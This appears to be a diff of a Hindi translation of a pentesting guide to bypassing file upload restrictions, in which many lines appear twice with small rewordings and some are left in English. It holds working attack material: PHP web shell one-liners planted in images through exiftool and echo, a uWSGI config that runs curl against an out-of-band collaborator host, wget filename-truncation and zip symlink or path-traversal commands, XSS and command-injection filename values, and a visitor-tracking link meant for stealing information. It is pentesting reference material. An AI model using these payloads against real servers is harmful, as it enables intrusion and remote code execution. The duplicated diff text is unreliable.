7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कोलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक बिंदु वर्ण जोड़ना भी आगे की प्रतिबंधों को बायपास करने के लिए उपयोगी हो सकता है (जैसे “file.asp::$data.”)
8. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP बच जाता है। AAA<--SNIP-->AAA.php
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करना। इस मामले में, एक कोलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन** के साथ एक **खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक बिंदु वर्ण जोड़ना भी आगे की प्रतिबंधों को बायपास करने के लिए उपयोगी हो सकता है (जैसे “file.asp::$data.”)
8. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP छोड़ दिया जाता है। AAA<--SNIP-->AAA.php
```
# Linux अधिकतम 255 बाइट
@ -82,28 +82,28 @@ AAA<--SNIP 232 A-->AAA.php.png
* **Content-Type** जांच को बायपास करें **Content-Type** **header** के **मान** को सेट करके: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **शब्दकोश**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **metadata** के अंदर शेल पेश करें:\
* फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** को जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **मेटाडेटा** के अंदर शेल पेश करें:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` या आप **पेलोड को सीधे** एक छवि में भी पेश कर सकते हैं:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* यदि आपकी छवि में **संकुचन जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE chunk** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संकुचन** को सहन करेगा।
* यदि आपकी छवि में **संकुचन जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संकुचन** को सहन करेगा।
* [**कोड के साथ गिटहब**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* वेब पृष्ठ **छवि** का **आकार बदलने** के लिए भी उपयोग कर सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT chunk** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संकुचन** को सहन करेगा।
* वेब पृष्ठ **छवि** का **आकार बदलने** के लिए भी हो सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संकुचन** को सहन करेगा।
* [**कोड के साथ गिटहब**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* एक और तकनीक जो एक पेलोड बनाने के लिए है जो **छवि के आकार बदलने** को सहन करता है, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करके। हालाँकि, आप **tEXt chunk** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संकुचन** को सहन करेगा।
* एक और तकनीक जो एक पेलोड बनाने के लिए **छवि के आकार बदलने** को सहन करती है, वह है PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करना। हालाँकि, आप **tEXt खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संकुचन** को सहन करेगा।
* [**कोड के साथ गिटहब**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### अन्य ट्रिक्स की जांच करें
* पहले से अपलोड की गई फ़ाइल क**नाम बदलने** के लिए एक भेद्यता खोजें (एक्सटेंशन बदलने के लिए)।
* पहले से अपलोड की गई फ़ाइल का नाम **बदलने** के लिए एक भेद्यता खोजें (एक्सटेंशन बदलने के लिए)।
* बैकडोर निष्पादित करने के लिए **स्थानीय फ़ाइल समावेशन** भेद्यता खोजें।
* **संभावित जानकारी का खुलासा**:
1. **एक ही फ़ाइल** को **कई बार** (और **एक ही समय में**) **एक ही नाम** के साथ अपलोड करें।
2. **एक फ़ाइल** के **नाम** के साथ फ़ाइल अपलोड करें या **फोल्डर** जो **पहले से मौजूद है**
3. **“.”, “..”, या “…”** के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Windows में Apache में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
3. **“.”, “..”, या “…”** के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Apache में **Windows** में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे **“…:.jpg”** **NTFS** में। (Windows)
5. **Windows** में **अमान्य वर्ण** जैसे `|<>*?”` के साथ फ़ाइल अपलोड करें। (Windows)
6. **Windows** में **आरक्षित** (**निषिद्ध**) **नामों** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 के साथ फ़ाइल अपलोड करें
5. **Windows** में **अमान्य वर्णों** के साथ फ़ाइल अपलोड करें जैसे `|<>*?”` इसके नाम में। (Windows)
6. **Windows** में **आरक्षित** (**निषिद्ध**) **नामों** के साथ फ़ाइल अपलोड करें जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9।
* **एक निष्पादन योग्य** (.exe) या **.html** (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो **कोड निष्पादित करेगा** जब इसे पीड़ित द्वारा गलती से खोला जाएगा।
### विशेष एक्सटेंशन ट्रिक्स
@ -111,7 +111,7 @@ AAA<--SNIP 232 A-->AAA.php.png
यदि आप **PHP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.htaccess** ट्रिक पर एक नज़र डालें](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
यदि आप **ASP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.config** ट्रिक पर एक नज़र डालें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` फ़ाइलें जावा के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल की तरह** उपयोग किया जा सकता है (PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
`.phar` फ़ाइलें जावा के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल की तरह** उपयोग किया जा सकता है (इसे PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो सकती है**
@ -123,9 +123,9 @@ AAA<--SNIP 232 A-->AAA.php.png
## **uWSGI RCE**
इस भेद्यता की विस्तृत खोज के लिए मूल शोध की जांच करें: [uWSGI RCE शोषण](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
इस भेद्यता की विस्तृत खोज के लिए मूल शोध देखें: [uWSGI RCE शोषण](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता ह। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लिखने/पढ़ने के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता ह। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
हानिकारक `uwsgi.ini` फ़ाइल का निम्नलिखित उदाहरण विचार करें, जो विभिन्न योजनाओं को प्रदर्शित करता है:
```ini
@ -145,14 +145,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
पेलोड का निष्पादन कॉन्फ़िगरेशन फ़ाइल के पार्सिंग के दौरान होता है। कॉन्फ़िगरेशन को सक्रिय और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनः प्रारंभ किया जाना चाहिए (संभावित रूप से एक क्रैश के बाद या सेवा से इनकार के हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्दिष्ट अंतराल पर फ़ाइल को फिर से लोड करती है।
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्सिंग की लचीली प्रकृति को समझना महत्वपूर्ण है। विशेष रूप से, चर्चा की गई पेलोड को एक बाइनरी फ़ाइल (जैसे कि एक छवि या PDF) में डाला जा सकता है, जिससे संभावित शोषण के दायरे को और बढ़ाया जा सकता है
यह समझना महत्वपूर्ण है कि uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्सिंग की लापरवाह प्रकृति है। विशेष रूप से, चर्चा की गई पेलोड को एक बाइनरी फ़ाइल (जैसे कि एक छवि या PDF) में डाला जा सकता है, संभावित शोषण के दायरे को और बढ़ाते हुए
## **wget फ़ाइल अपलोड/SSRF ट्रिक**
## **wget File Upload/SSRF Trick**
कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें डाउनलोड की जाएंगी। हालाँकि, **यह जांच बायपास की जा सकती है।**\
**linux** में **फाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **नामित** करेगा।
In some occasions you may find that a server is using **`wget`** to **download files** and you can **indicate** the **URL**. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, **this check can be bypassed.**\
**फाइल नाम** की **अधिकतम** लंबाई **linux** में **255** है, हालांकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **ेक** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **रिनेम** करेगा।
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -175,11 +175,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
नोट करें कि **एक और विकल्प** जिसे आप इस जांच को बायपास करने के लिए सोच रहे होंगे, वह है **HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना**, ताकि प्रारंभिक URL जांच को बायपास कर दे और फिर wget रीडायरेक्ट की गई फ़ाइल को नए नाम के साथ डाउनलोड कर ले। यह **काम नहीं करेगा** **जब तक** wget को **पैरामीटर** `--trust-server-names` के साथ उपयोग नहीं किया जा रहा है क्योंकि **wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा**
Note that **एक और विकल्प** जिसे आप इस जांच को बायपास करने के लिए सोच रहे होंगे, वह है **HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना**, ताकि प्रारंभिक URL जांच को बायपास कर दे और फिर wget नए नाम के साथ रीडायरेक्ट की गई फ़ाइल को डाउनलोड कर ले। यह **काम नहीं करेगा** **जब तक** wget को **पैरामीटर** `--trust-server-names` के साथ उपयोग नहीं किया जा रहा है क्योंकि **wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा**
## उपकरण
## Tools
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) एक शक्तिशाली उपकरण है जिसे Pentesters और Bug Hunters को फ़ाइल अपलोड तंत्रों का परीक्षण करने में सहायता करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग बाउंटी तकनीकों का उपयोग करता है ताकि कमजोरियों की पहचान और शोषण की प्रक्रिया को सरल बनाया जा सके, जिससे वेब अनुप्रयोगों का गहन मूल्यांकन सुनिश्चित हो सके।
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) एक शक्तिशाली उपकरण है जिसे Pentesters और Bug Hunters को फ़ाइल अपलोड तंत्रों का परीक्षण करने में सहायता करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग बाउंटी तकनीकों का लाभ उठाता है ताकि कमजोरियों की पहचान और शोषण की प्रक्रिया को सरल बनाया जा सके, जिससे वेब अनुप्रयोगों का गहन मूल्यांकन सुनिश्चित हो सके।
## फ़ाइल अपलोड से अन्य कमजोरियों तक
@ -188,22 +188,22 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
* **filename** को `<svg onload=alert(document.domain)>` पर सेट करें ताकि XSS प्राप्त किया जा सके
* **filename** को `; sleep 10;` पर सेट करें ताकि कुछ कमांड इंजेक्शन का परीक्षण किया जा सके (अधिक [कमांड इंजेक्शन ट्रिक्स यहाँ](../command-injection.md))
* [**XSS** इमेज (svg) फ़ाइल अपलोड में](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS** फ़ाइल **अपलोड** + **XSS** = [**सेवा कार्यकर्ता** शोषण](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE svg अपलोड में**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**SVG फ़ाइल अपलोड के माध्यम से ओपन रीडायरेक्ट**](../open-redirect.md#open-redirect-uploading-svg-files)
* **JS** फ़ाइल **अपलोड** + **XSS** = [**Service Workers** शोषण](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Open Redirect** svg फ़ाइल अपलोड करके](../open-redirect.md#open-redirect-uploading-svg-files)
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) से **विभिन्न svg पेलोड** का प्रयास करें\*\*\*\*
* [प्रसिद्ध **ImageTrick** कमजोरी](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* यदि आप **वेब सर्वर को एक URL से इमेज पकड़ने के लिए इंगित कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी इंगित कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**
* [**XXE और CORS** बायपास PDF-Adobe अपलोड के साथ](pdf-upload-xxe-and-cors-bypass.md)
* विशेष रूप से तैयार किए गए PDFs से XSS: [निम्नलिखित पृष्ठ प्रस्तुत करता है कि **JS निष्पादन प्राप्त करने के लिए PDF डेटा को कैसे इंजेक्ट करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) सामग्री को अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई **एंटीवायरस** है या नहीं
* विशेष रूप से तैयार किए गए PDFs से XSS: [निम्नलिखित पृष्ठ प्रस्तुत करता है कि कैसे **PDF डेटा को इंजेक्ट करके JS निष्पादन प्राप्त करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) सामग्री अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई **एंटीवायरस** है या नहीं
* फ़ाइलें अपलोड करते समय यदि कोई **आकार सीमा** है तो जांचें
यहाँ शीर्ष 10 चीजों की सूची है जो आप अपलोड करके प्राप्त कर सकते हैं (से [यहाँ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: वेबशेल / RCE
2. **SVG**: स्टोर किया गया XSS / SSRF / XXE
3. **GIF**: स्टोर किया गया XSS / SSRF
2. **SVG**: स्टोर की गई XSS / SSRF / XXE
3. **GIF**: स्टोर की गई XSS / SSRF
4. **CSV**: CSV इंजेक्शन
5. **XML**: XXE
6. **AVI**: LFI / SSRF
@ -212,7 +212,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
9. **ZIP**: LFI / DoS के माध्यम से RCE
10. **PDF / PPTX**: SSRF / BLIND XXE
#### बर्प एक्सटेंशन
#### Burp Extension
{% embed url="https://github.com/portswigger/upload-scanner" %}
@ -221,15 +221,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**: `"\xff\xd8\xff"`
अन्य फ़ाइल प्रकारों के लिए [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) देखें।
अन्य फ़ाइल प्रकारों के लिए [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) को देखें।
### ज़िप/टार फ़ाइल स्वचालित रूप से डिकंप्रेस्ड अपलोड
यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर डिकंप्रेस्ड होने जा रहा है, तो आप 2 चीजें कर सकते हैं:
यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर डिकंप्रेस होने जा रहा है, तो आप 2 चीजें कर सकते हैं:
#### सिम्लिंक
एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस्ड फ़ाइलों तक पहुँचते समय आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचते समय आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -237,9 +237,9 @@ tar -cvf test.tar symindex.txt
```
### Decompress in different folders
डिकप्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संकुचन समर्थन और निर्देशिका यात्रा क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकप्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।
डिकम्प्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संपीड़न समर्थन और निर्देशिका यात्रा क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकम्प्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।
ऐसी फ़ाइलें बनाने के लिए एक स्वचालित शोषण [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। इस उपयोगिता का उपयोग इस प्रकार किया जा सकता है:
ऐसी फ़ाइलें बनाने के लिए एक स्वचालित शोषण [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। उपयोगिता का उपयोग इस प्रकार किया जा सकता है:
```python
# Listing available options
python2 evilarc.py -h
@ -306,17 +306,17 @@ pop graphic-context
PNG फ़ाइल के IDAT भाग में PHP शेल एम्बेड करना कुछ इमेज प्रोसेसिंग ऑपरेशनों को प्रभावी ढंग से बायपास कर सकता है। PHP-GD से `imagecopyresized` और `imagecopyresampled` फ़ंक्शन इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें क्रमशः इमेज को रिसाइज और रिसैंपल करने के लिए सामान्यतः उपयोग किया जाता है। एम्बेडेड PHP शेल की इन ऑपरेशनों से अप्रभावित रहने की क्षमता कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।
इस तकनीक की विस्तृत खोज, जिसमें इसकी कार्यप्रणाली और संभावित अनुप्रयोग शामिल हैं, निम्नलिखित लेख में प्रदान की गई है: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)। यह संसाधन प्रक्रिया और इसके निहितार्थों की व्यापक समझ प्रदान करता है।
इस तकनीक की विस्तृत खोज, जिसमें इसकी कार्यप्रणाली और संभावित अनुप्रयोग शामिल हैं, निम्नलिखित लेख में प्रदान की गई है: ["PNG IDAT भागों में वेब शेल्स को एन्कोड करना"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)। यह संसाधन प्रक्रिया और इसके निहितार्थों की व्यापक समझ प्रदान करता है।
अधिक जानकारी के लिए: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## पॉलीग्लॉट फ़ाइलें
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो चामेलियन्स की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद रह सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैस संयोजन भी संभव हैं।
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो चामेलियन्स की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद रह सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैस संयोजन भी संभव हैं।
